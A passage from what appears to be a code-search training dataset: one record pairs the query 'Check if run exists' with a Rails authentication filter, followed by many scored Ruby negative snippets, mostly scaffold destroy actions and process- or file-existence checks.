"0.5440637",
"0.54391164",
"0.5439045",
"0.5438661",
"0.54372287",
"0.54346365",
"0.54263085",
"0.5418146",
"0.541656",
"0.5413859",
"0.54095775",
"0.5405363"
] |
0.5727579
|
25
|
DELETE /post117s/1 DELETE /post117s/1.xml
|
def destroy
@post117 = Post117.find(params[:id])
@post117.destroy
respond_to do |format|
format.html { redirect_to(post117s_url) }
format.xml { head :ok }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def destroy\n @post157 = Post157.find(params[:id])\n @post157.destroy\n\n respond_to do |format|\n format.html { redirect_to(post157s_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n RestClient.delete \"#{REST_API_URI}/contents/#{id}.xml\" \n self\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.deleted = 1\n @post.save\n\n respond_to do |format|\n format.html { redirect_to(posts_url) }\n format.xml { head :ok }\n end\n make_rss\n end",
"def destroy\n @post57 = Post57.find(params[:id])\n @post57.destroy\n\n respond_to do |format|\n format.html { redirect_to(post57s_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @post445 = Post445.find(params[:id])\n @post445.destroy\n\n respond_to do |format|\n format.html { redirect_to(post445s_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @post154 = Post154.find(params[:id])\n @post154.destroy\n\n respond_to do |format|\n format.html { redirect_to(post154s_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @post150 = Post150.find(params[:id])\n @post150.destroy\n\n respond_to do |format|\n format.html { redirect_to(post150s_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @post75 = Post75.find(params[:id])\n @post75.destroy\n\n respond_to do |format|\n format.html { redirect_to(post75s_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @post55 = Post55.find(params[:id])\n @post55.destroy\n\n respond_to do |format|\n format.html { redirect_to(post55s_url) }\n format.xml { head :ok }\n end\n end",
"def delete_post\n\t \n \tend",
"def destroy\n @post156 = Post156.find(params[:id])\n @post156.destroy\n\n respond_to do |format|\n format.html { redirect_to(post156s_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n r = PostRepository.new\n @post = r.GetPost(\"PostID\", params[:id].to_i)\n r.delete @post\n\n respond_to do |format|\n format.html { redirect_to(posts_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @post251 = Post251.find(params[:id])\n @post251.destroy\n\n respond_to do |format|\n format.html { redirect_to(post251s_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @post125 = Post125.find(params[:id])\n @post125.destroy\n\n respond_to do |format|\n format.html { redirect_to(post125s_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @post182 = Post182.find(params[:id])\n @post182.destroy\n\n respond_to do |format|\n format.html { redirect_to(post182s_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @post74 = Post74.find(params[:id])\n @post74.destroy\n\n respond_to do |format|\n format.html { redirect_to(post74s_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @post446 = Post446.find(params[:id])\n @post446.destroy\n\n respond_to do |format|\n format.html { redirect_to(post446s_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @post246 = Post246.find(params[:id])\n @post246.destroy\n\n respond_to do |format|\n format.html { redirect_to(post246s_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @post149 = Post149.find(params[:id])\n @post149.destroy\n\n respond_to do |format|\n format.html { redirect_to(post149s_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @post181 = Post181.find(params[:id])\n @post181.destroy\n\n respond_to do |format|\n format.html { redirect_to(post181s_url) }\n format.xml { head :ok }\n end\n end",
"def delete()\n response = send_post_request(@xml_api_delete_path)\n response.is_a?(Net::HTTPSuccess) or response.is_a?(Net::HTTPRedirection)\n end",
"def destroy\n @post134 = Post134.find(params[:id])\n @post134.destroy\n\n respond_to do |format|\n format.html { redirect_to(post134s_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @post78 = Post78.find(params[:id])\n @post78.destroy\n\n respond_to do |format|\n format.html { redirect_to(post78s_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @post470 = Post470.find(params[:id])\n @post470.destroy\n\n respond_to do |format|\n format.html { redirect_to(post470s_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @post54 = Post54.find(params[:id])\n @post54.destroy\n\n respond_to do |format|\n format.html { redirect_to(post54s_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @post184 = Post184.find(params[:id])\n @post184.destroy\n\n respond_to do |format|\n format.html { redirect_to(post184s_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @post447 = Post447.find(params[:id])\n @post447.destroy\n\n respond_to do |format|\n format.html { redirect_to(post447s_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @post58 = Post58.find(params[:id])\n @post58.destroy\n\n respond_to do |format|\n format.html { redirect_to(post58s_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @post328 = Post328.find(params[:id])\n @post328.destroy\n\n respond_to do |format|\n format.html { redirect_to(post328s_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @post66 = Post66.find(params[:id])\n @post66.destroy\n\n respond_to do |format|\n format.html { redirect_to(post66s_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @post129 = Post129.find(params[:id])\n @post129.destroy\n\n respond_to do |format|\n format.html { redirect_to(post129s_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @post65 = Post65.find(params[:id])\n @post65.destroy\n\n respond_to do |format|\n format.html { redirect_to(post65s_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @post174 = Post174.find(params[:id])\n @post174.destroy\n\n respond_to do |format|\n format.html { redirect_to(post174s_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @post72 = Post72.find(params[:id])\n @post72.destroy\n\n respond_to do |format|\n format.html { redirect_to(post72s_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @post193 = Post193.find(params[:id])\n @post193.destroy\n\n respond_to do |format|\n format.html { redirect_to(post193s_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @post109 = Post109.find(params[:id])\n @post109.destroy\n\n respond_to do |format|\n format.html { redirect_to(post109s_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @post275 = Post275.find(params[:id])\n @post275.destroy\n\n respond_to do |format|\n format.html { redirect_to(post275s_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @post453 = Post453.find(params[:id])\n @post453.destroy\n\n respond_to do |format|\n format.html { redirect_to(post453s_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @post139 = Post139.find(params[:id])\n @post139.destroy\n\n respond_to do |format|\n format.html { redirect_to(post139s_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @post120 = Post120.find(params[:id])\n @post120.destroy\n\n respond_to do |format|\n format.html { redirect_to(post120s_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @post105 = Post105.find(params[:id])\n @post105.destroy\n\n respond_to do |format|\n format.html { redirect_to(post105s_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @post168 = Post168.find(params[:id])\n @post168.destroy\n\n respond_to do |format|\n format.html { redirect_to(post168s_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @post253 = Post253.find(params[:id])\n @post253.destroy\n\n respond_to do |format|\n format.html { redirect_to(post253s_url) }\n format.xml { head :ok }\n end\n end",
"def delete()\n response = send_post_request(@xml_api_delete_path)\n response.is_a?(Net::HTTPSuccess) or response.is_a?(Net::HTTPRedirection)\n end",
"def destroy\n @post464 = Post464.find(params[:id])\n @post464.destroy\n\n respond_to do |format|\n format.html { redirect_to(post464s_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @post41 = Post41.find(params[:id])\n @post41.destroy\n\n respond_to do |format|\n format.html { redirect_to(post41s_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @post483 = Post483.find(params[:id])\n @post483.destroy\n\n respond_to do |format|\n format.html { redirect_to(post483s_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @post341 = Post341.find(params[:id])\n @post341.destroy\n\n respond_to do |format|\n format.html { redirect_to(post341s_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @post471 = Post471.find(params[:id])\n @post471.destroy\n\n respond_to do |format|\n format.html { redirect_to(post471s_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @post245 = Post245.find(params[:id])\n @post245.destroy\n\n respond_to do |format|\n format.html { redirect_to(post245s_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @post227 = Post227.find(params[:id])\n @post227.destroy\n\n respond_to do |format|\n format.html { redirect_to(post227s_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @post350 = Post350.find(params[:id])\n @post350.destroy\n\n respond_to do |format|\n format.html { redirect_to(post350s_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @post413 = Post413.find(params[:id])\n @post413.destroy\n\n respond_to do |format|\n format.html { redirect_to(post413s_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @post321 = Post321.find(params[:id])\n @post321.destroy\n\n respond_to do |format|\n format.html { redirect_to(post321s_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @post101 = Post101.find(params[:id])\n @post101.destroy\n\n respond_to do |format|\n format.html { redirect_to(post101s_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @offpost = Offpost.find(params[:id])\n @offpost.destroy\n\n respond_to do |format|\n format.html { redirect_to(offposts_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @post50 = Post50.find(params[:id])\n @post50.destroy\n\n respond_to do |format|\n format.html { redirect_to(post50s_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @post407 = Post407.find(params[:id])\n @post407.destroy\n\n respond_to do |format|\n format.html { redirect_to(post407s_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.xml { head :ok }\n end\n end",
"def destroy\n @post81 = Post81.find(params[:id])\n @post81.destroy\n\n respond_to do |format|\n format.html { redirect_to(post81s_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @post472 = Post472.find(params[:id])\n @post472.destroy\n\n respond_to do |format|\n format.html { redirect_to(post472s_url) }\n format.xml { head :ok }\n end\n end",
"def delete_data(index_name)\n uri = @client.make_uri(\"/#{index_name}/update/\")\n req = HTTP::Post.new(uri)\n req.content_type = 'text/xml'\n req.body = '<delete><query>*:*</query></delete>'\n response = @client.send_http(req, true, ['200'])\n end",
"def destroy\n @post21 = Post21.find(params[:id])\n @post21.destroy\n\n respond_to do |format|\n format.html { redirect_to(post21s_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @post77 = Post77.find(params[:id])\n @post77.destroy\n\n respond_to do |format|\n format.html { redirect_to(post77s_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @post349 = Post349.find(params[:id])\n @post349.destroy\n\n respond_to do |format|\n format.html { redirect_to(post349s_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @post436 = Post436.find(params[:id])\n @post436.destroy\n\n respond_to do |format|\n format.html { redirect_to(post436s_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @post267 = Post267.find(params[:id])\n @post267.destroy\n\n respond_to do |format|\n format.html { redirect_to(post267s_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @post122 = Post122.find(params[:id])\n @post122.destroy\n\n respond_to do |format|\n format.html { redirect_to(post122s_url) }\n format.xml { head :ok }\n end\n end",
"def deletepublish\n @question = Publishquiz.find(:all, :conditions=>\"question_id=\"+params[:question]+\" and quiz_id=\"+session[:quizid])\n @question[0].destroy\n\n respond_to do |format|\n format.html { redirect_to(questions_url) }\n format.xml { head :ok }\n end\n end",
"def netdev_resxml_delete( xml )\n top = netdev_resxml_top( xml )\n par = top.instance_variable_get(:@parent)\n par['delete'] = 'delete'\n end",
"def destroy\n @post405 = Post405.find(params[:id])\n @post405.destroy\n\n respond_to do |format|\n format.html { redirect_to(post405s_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @post133 = Post133.find(params[:id])\n @post133.destroy\n\n respond_to do |format|\n format.html { redirect_to(post133s_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @post194 = Post194.find(params[:id])\n @post194.destroy\n\n respond_to do |format|\n format.html { redirect_to(post194s_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @post68 = Post68.find(params[:id])\n @post68.destroy\n\n respond_to do |format|\n format.html { redirect_to(post68s_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @post481 = Post481.find(params[:id])\n @post481.destroy\n\n respond_to do |format|\n format.html { redirect_to(post481s_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @post99 = Post99.find(params[:id])\n @post99.destroy\n\n respond_to do |format|\n format.html { redirect_to(post99s_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @post110 = Post110.find(params[:id])\n @post110.destroy\n\n respond_to do |format|\n format.html { redirect_to(post110s_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @post459 = Post459.find(params[:id])\n @post459.destroy\n\n respond_to do |format|\n format.html { redirect_to(post459s_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to(root_path, :notice => t('controller.deleted')) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @post358 = Post358.find(params[:id])\n @post358.destroy\n\n respond_to do |format|\n format.html { redirect_to(post358s_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to(posts_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to(posts_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @post231 = Post231.find(params[:id])\n @post231.destroy\n\n respond_to do |format|\n format.html { redirect_to(post231s_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @post183 = Post183.find(params[:id])\n @post183.destroy\n\n respond_to do |format|\n format.html { redirect_to(post183s_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @post409 = Post409.find(params[:id])\n @post409.destroy\n\n respond_to do |format|\n format.html { redirect_to(post409s_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @post130 = Post130.find(params[:id])\n @post130.destroy\n\n respond_to do |format|\n format.html { redirect_to(post130s_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @post107 = Post107.find(params[:id])\n @post107.destroy\n\n respond_to do |format|\n format.html { redirect_to(post107s_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @post335 = Post335.find(params[:id])\n @post335.destroy\n\n respond_to do |format|\n format.html { redirect_to(post335s_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @post342 = Post342.find(params[:id])\n @post342.destroy\n\n respond_to do |format|\n format.html { redirect_to(post342s_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @post33 = Post33.find(params[:id])\n @post33.destroy\n\n respond_to do |format|\n format.html { redirect_to(post33s_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @post196 = Post196.find(params[:id])\n @post196.destroy\n\n respond_to do |format|\n format.html { redirect_to(post196s_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @post85 = Post85.find(params[:id])\n @post85.destroy\n\n respond_to do |format|\n format.html { redirect_to(post85s_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @post191 = Post191.find(params[:id])\n @post191.destroy\n\n respond_to do |format|\n format.html { redirect_to(post191s_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @post10 = Post10.find(params[:id])\n @post10.destroy\n\n respond_to do |format|\n format.html { redirect_to(post10s_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @post197 = Post197.find(params[:id])\n @post197.destroy\n\n respond_to do |format|\n format.html { redirect_to(post197s_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @post451 = Post451.find(params[:id])\n @post451.destroy\n\n respond_to do |format|\n format.html { redirect_to(post451s_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @post257 = Post257.find(params[:id])\n @post257.destroy\n\n respond_to do |format|\n format.html { redirect_to(post257s_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @post318 = Post318.find(params[:id])\n @post318.destroy\n\n respond_to do |format|\n format.html { redirect_to(post318s_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @post143 = Post143.find(params[:id])\n @post143.destroy\n\n respond_to do |format|\n format.html { redirect_to(post143s_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @post284 = Post284.find(params[:id])\n @post284.destroy\n\n respond_to do |format|\n format.html { redirect_to(post284s_url) }\n format.xml { head :ok }\n end\n end"
] |
[
"0.6898121",
"0.68844515",
"0.6882725",
"0.6882469",
"0.6879654",
"0.6848951",
"0.6847906",
"0.68160486",
"0.6813747",
"0.6812191",
"0.6785004",
"0.67823327",
"0.6778331",
"0.67765474",
"0.6767269",
"0.6765122",
"0.67571676",
"0.6751022",
"0.67475027",
"0.6740799",
"0.67383367",
"0.67297906",
"0.67270327",
"0.67162794",
"0.6712674",
"0.6707893",
"0.6701569",
"0.6688047",
"0.6686974",
"0.6686043",
"0.66845924",
"0.6683065",
"0.667891",
"0.6678532",
"0.6677569",
"0.6674463",
"0.6669422",
"0.66678554",
"0.66655964",
"0.6664322",
"0.6660856",
"0.6660205",
"0.66538227",
"0.66507536",
"0.6648355",
"0.6645686",
"0.66420513",
"0.66406167",
"0.6639823",
"0.6639648",
"0.6639639",
"0.66382635",
"0.6632734",
"0.66309243",
"0.6624174",
"0.66192645",
"0.6618374",
"0.661581",
"0.661516",
"0.6614309",
"0.6609247",
"0.66070276",
"0.66016155",
"0.66000676",
"0.6593348",
"0.65862656",
"0.65851235",
"0.65841764",
"0.65774727",
"0.65757525",
"0.6574262",
"0.65739745",
"0.657176",
"0.65659285",
"0.6563797",
"0.65599465",
"0.6557722",
"0.65521806",
"0.65514064",
"0.6547291",
"0.65471745",
"0.65471745",
"0.65454495",
"0.6545313",
"0.6539481",
"0.6534351",
"0.6528709",
"0.65282166",
"0.6528088",
"0.65274894",
"0.6525269",
"0.6524861",
"0.65238875",
"0.6521302",
"0.65135723",
"0.650679",
"0.6499487",
"0.6494036",
"0.64903873",
"0.6486639"
] |
0.6716402
|
23
|
Check if run exists
|
def authenticate_run
@run = Run.find_by(id: params[:id])
redirect_unauthorized if @run.nil?
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def has_run?(filename)\n if @db.schema_schema_evolution_manager_exists?\n query = \"select count(*) from %s.%s where filename = '%s'\" % [Db.schema_name, @table_name, filename]\n @db.psql_command(query).to_i > 0\n else\n false\n end\n end",
"def program_name?\n \"runs\"\n end",
"def runnable?(run, klass, name)\n metadata = Evolver.registry.fetch(klass)\n executed = run.map{ |doc| doc[\"migration\"] }\n !executed.include?(klass) && metadata[:sessions].include?(name)\n end",
"def has_run?\n @passed != nil\n end",
"def run?\n @run\n end",
"def exist?\n with_script_compiler do |compiler|\n return !!compiler.plan_signature(@plan)\n end\n end",
"def non_existing_script?\n return false if program\n\n print_error(\"The script doesn't exist\")\n true\n end",
"def previously_ran?\n File.exist?(previous_runs_filename)\n end",
"def users_first_run?\n test_file.test_runs(true) # Cache-busting\n test_file.test_runs.length == 1 && owner.test_files.select{|f| (f.id != test_file.id) && !f.test_runs.empty?}.blank? \n end",
"def ran?\n @result != Result::NoResult\n end",
"def run_once?\n !!@run\n end",
"def run?\n @run ||= true\n @run and !@running and app_file? and $0.expand_path == app_file.expand_path\n end",
"def command_exists?\n File.exists? self.command_file\n end",
"def running?\n @run\n end",
"def check(exec, name, url, install=nil)\n return unless `which #{exec}`.empty?\n \n puts \"#{name} not found. (#{url})\"\n puts \"\\nInstall via:\\n#{install}\" if install\n\n exit(1)\nend",
"def present_and_running?\n return active_instance_dir_exists? && running?\n end",
"def file_exists?(path)\n run(\"test -f #{path}\").success?\n end",
"def ran?\n completed? || failed?\n end",
"def running?\n #result = ActiveRecord::Base.connection.execute('SELECT time FROM bus_history ORDER BY time DESC LIMIT 1')\n #if result.first.nil?\n # return false\n #end\n #minutesSinceLastRun = (((Time.now.to_i - DateTime.parse(result.first['time']).to_i).abs)/60).round\n #return minutesSinceLastRun < 5\n\n pidLocation = \"/tmp/gather.pid\"\n\n File.exists?(pidLocation)\nend",
"def should_run?\n raise NoMethodError\n end",
"def should_run?\n raise NoMethodError\n end",
"def should_run?\n raise NoMethodError\n end",
"def test_file_exists?\n\t\tif @test_file_name.nil?\n\t\t\tputs \"No test data given to run. Exiting.\"\n\t\t\texit(0)\n\t\tend\n\tend",
"def check_command_existence(cmd_name)\n\tret = `type #{cmd_name} 1>/dev/null 2>/dev/null`\n\treturn $?.exitstatus == 0 ? true : false\nend",
"def run?\n return false unless @process\n return true\n end",
"def exists?\n !@trace.nil?\n end",
"def is_running?\n # TODO: cache this maybe?\n fetch_is_running?\n end",
"def exists?\n assert_exists\n true\n rescue NoMatchingWindowFoundException\n false\n end",
"def running?\n File.exist?(@lock_file)\n end",
"def exec_exist?(*args)\n require 'tty-which'\n TTY::Which.exist?(*args)\n end",
"def exec_exist?(*args)\n require 'tty-which'\n TTY::Which.exist?(*args)\n end",
"def refute_have_run(cmd, configuration, msg = nil)\n msg ||= \"Expected configuration to not run #{cmd}, but did\"\n assert_nil configuration.runs[cmd], msg\n end",
"def testIfAvailable(filename)\n suffix = @configuration.suffix\n \n fileExists = system(\"find . | grep '\" + filename + suffix + \"' > /dev/null\")\n if !fileExists\n GALogger.log(filename + \" doesn't seem to have associated tests. You should think about creating some.\", :Warning)\n return\n end\n \n @runner.test(filename)\n end",
"def first_run?\n ::File.exist?(node['tomcat']['validation_script'])\n end",
"def exec_exist?(*args)\n require \"tty-which\"\n TTY::Which.exist?(*args)\n end",
"def check_for_executable; end",
"def first_run?\n not File.exists? '/boot/config/.boxcar'\n end",
"def runnable?\n tool_class.public_instance_methods(false).include?(:run)\n end",
"def running?\n !running.empty?\n end",
"def exist?\n ruby_gems_fetcher.started?\n end",
"def check(exec, name, url)\n return unless `which #{exec}`.empty?\n puts \"#{name} not found.\\nInstall it from #{url}\"\n exit\nend",
"def check(exec, name, url)\n return unless `which #{exec}`.empty?\n puts \"#{name} not found.\\nInstall it from #{url}\"\n exit\nend",
"def check(exec, name, url)\n return unless `which #{exec}`.empty?\n puts \"#{name} not found.\\nInstall it from #{url}\"\n exit\nend",
"def check(exec, name, url)\n return unless `which #{exec}`.empty?\n puts \"#{name} not found.\\nInstall it from #{url}\"\n exit\nend",
"def check(exec, name, url)\n return unless `which #{exec}`.empty?\n puts \"#{name} not found.\\nInstall it from #{url}\"\n exit\nend",
"def rake_running\n `pgrep rake | wc -l`.to_i > 1\nend",
"def run?\n return false unless @process\n return true\n end",
"def exists?\n start = Time.now\n debug 'Checking if Collector & Installation Binary Exists'\n collector = get_agent_by_description(nil, resource[:description], 'id')\n if collector\n if resource[:architecture].include?('64')\n installation_binary = \"#{resource[:install_dir]}logicmonitorsetup#{collector['id']}_64.bin\"\n else\n installation_binary = \"#{resource[:install_dir]}logicmonitorsetup#{collector['id']}_32.bin\"\n end\n debug \"Finished in #{(Time.now-start)*1000.0} ms\"\n return File.exists?(installation_binary)\n end\n debug \"Finished in #{(Time.now-start)*1000.0} ms\"\n false\n end",
"def check_process_not_running(name)\n procs = get_procs_by_name(name)\n procs.should be_empty\n end",
"def _exists?(loop_name)\n `losetup -a`.include? loop_name\n end",
"def check_lock(run_name)\n Helpers::log(\"Checking lock file for #{run_name}\")\n File.exists?(\"#{ENV['HOME']}/.hgsc_solid/#{@machine}/#{run_name}.lock\")\n end",
"def file_exists?(node, file)\n _out, _local, _remote, code = node.test_and_store_results_together(\"test -f #{file}\", 'root', 500)\n code.zero?\nend",
"def file_exists?(node, file)\n _out, _local, _remote, code = node.test_and_store_results_together(\"test -f #{file}\", 'root', 500)\n code.zero?\nend",
"def exist?()\n exist = false\n @tar_task.with_uncompressed_tar { |tar| exist = tar.any? { |entry| entry.name == @entry_name } }\n exist\n end",
"def path_exists?(path)\n ::File.exist?(::File.join(path, 'ts3server_startscript.sh'))\nend",
"def exec_exixts?(name)\n `which #{name}`.start_with?('/')\n end",
"def one_running?\n system = OpenNebula::System.new(OpenNebula::Client.new)\n config = system.get_configuration\n\n OpenNebula.is_error?(config)\n end",
"def check_that_no_text_run_is_active\n if @rt_run_context.inside_a_run\n raise \"Unexpected run! #{ @rt_run_context.inspect }\"\n end\n end",
"def test_not_run?(test_case)\n test_case[:exec_status] == 'n'\n end",
"def running?(_under = nil)\n return false if info.nil?\n info[:running]\n end",
"def is_rake_running?\n `ps -ef | grep rake | grep #{Process.ppid} | grep -v 'grep'`.size > 0\n end",
"def task_defined?(task_name) \n lookup(task_name) != nil\n end",
"def exists?\n !!::Process.kill(0, @pid) rescue false\n end",
"def exists?\n !!::Process.kill(0, @pid) rescue false\n end",
"def run_and_success?(cmd)\n run(cmd).success?\n end",
"def run_app_not_exist?(host_path)\n\t\t\tif v.app_not_exist?(host_path)\n\t\t\t\t$stdout.puts Rainbow(\"Success: No pre-existig app at '#{host_path}'\").green\n\t\t\telse\n\t\t\t\texit 1\n\t\t\tend\n\t\tend",
"def exist?\n true\n end",
"def exists?\n name_exists? ? exact_deployment? : false\n end",
"def exist?\n nil\n end",
"def has_executable_in_path(command_name)\n return nil != find_executable_in_path(command_name)\n end",
"def command_exists?\n COMMANDS.include? @command\n end",
"def is_manifest_exists?\n abort \"ERROR : No ssh session found\" if @ssh.nil?\n r = @ssh.do_ssh_cmd(\"ls #{@puppetfolder}/manifests/site.pp\")\n r[:exit_code].eql? 0\n end",
"def run_succeeded; end",
"def has_process?(processname)\n\t\t\t\tif(!processname.kind_of?(Regexp))\n\t\t\t\t\tprocessname = Regexp.new(Regexp.escape(processname))\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\tprocesses().each_value() { |runningprocess|\n\t\t\t\t\tif(processname.match(runningprocess.program))\n\t\t\t\t\t\tCfruby.controller.inform('debug', \"\\\"#{processname.source}\\\" is running\")\n\t\t\t\t\t\treturn(runningprocess)\n\t\t\t\t\tend\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tCfruby.controller.inform('debug', \"\\\"#{processname.source}\\\" is not running\")\n\t\t\t\treturn(false)\n\t\t\tend",
"def check_runfile_and_cmds\n #If run-file exists and the PID within is still running, then send command (if given) and exit.\n if File.exists?(CONFIG[:run_path]) and Knj::Unix_proc.pid_running?(File.read(CONFIG[:run_path]).to_i) and File.exists?(CONFIG[:sock_path])\n running = true\n \n begin\n require \"socket\"\n UNIXSocket.open(CONFIG[:sock_path]) do |sock|\n cmd = nil\n ARGV.each do |val|\n if match = val.match(/^--cmd=(.+)$/)\n cmd = match[1]\n break\n end\n end\n \n if cmd\n puts \"Executing command through sock: #{cmd}\"\n sock.puts(cmd)\n end\n end\n rescue Errno::ECONNREFUSED\n running = false\n end\n \n if running\n puts \"Already running\"\n exit\n end\n end\n \n File.open(CONFIG[:run_path], \"w\") do |fp|\n fp.write(Process.pid)\n end\n \n Kernel.at_exit(&self.method(:unlink_runfile))\n end",
"def is_running\n !`/etc/init.d/minecraft status`.include?('not')\nend",
"def rake_running\n `ps | grep 'rake' | grep -v 'grep' | wc -l`.to_i > 1\nend",
"def exist\n\treturn true\n end",
"def run_list?(item)\n run_list.detect { |r| r == item } ? true : false\n end",
"def assert_program_presence!(name)\n sh(['which', name], echo: false, output: false)\n rescue\n raise \"Failed to find required program: #{name}\"\n end",
"def running?\n ck_valid\n kvm = File.basename(SysConf.value_for :kvm_bin)\n cmdline =~ /#{kvm}/\n end",
"def running?\n execpipe(\"#{command(:instance_manager)} status\") do |out|\n out.each_line do |line|\n if line =~ /^#{@resource[:name]}\\s+\\d+/\n return true\n end\n end\n end\n return false\n end",
"def exists?(name)\n envs = find(name)\n envs.size > 0\n end",
"def worker_exists? id\n find_worker(id).present?\n end",
"def exists?; end",
"def process_exists?(pid)\n run(\"ps -p #{pid}\").success?\n end",
"def instance_exists(path)\n result = $evm.instance_exists?(path)\n if result\n $evm.log('info',\"Instance:<#{path}> exists. Result:<#{result.inspect}>\") if @debug\n else\n $evm.log('info',\"Instance:<#{path}> does not exist. Result:<#{result.inspect}>\") if @debug\n end\n return result\n end",
"def run_cargo_if_exists(*args)\n run_cargo(*args) if cargo\n end",
"def running?\n result = true\n SERVICES.each do |_, check|\n result &&= check.call\n end\n result\n end",
"def instance_by_name_running?(instance_name)\n return false unless configured?\n\n instance_running?(get_aws_instance_id_by_node_name(instance_name))\n end",
"def vm_exists_silent\n return false unless @state.key?(:id) && !@state[:id].nil?\n\n existing_vm = run_ps ensure_vm_running_ps\n return false if existing_vm.nil? || existing_vm[\"Id\"].nil?\n\n true\n end",
"def is_problem_submitted? pid\n runs.where(pid: pid).count > 0\n end",
"def check!\n check_existence! && check_installed! && run_scanner!\n end",
"def run_successfully?(tasks)\n [*tasks].all? do |task|\n Rake::Task.task_defined?(task) && Rake::Task[task].invoke\n end\nend",
"def test_file_exists?(host, file_rel_path)\n host.execute(\"test -f \\\"#{get_test_file_path(host, file_rel_path)}\\\"\",\n :acceptable_exit_codes => [0, 1]) do |result|\n return result.exit_code == 0\n end\nend",
"def run_repo_exists?(repo)\n\t\t\tif v.repo_exists?(repo)\n\t\t\t\t$stdout.puts Rainbow(\"Success: '#{repo}' exists and '#{ev.user}' has privileges\").green\n\t\t\telse\n\t\t\t\texit 1\n\t\t\tend\n\t\tend",
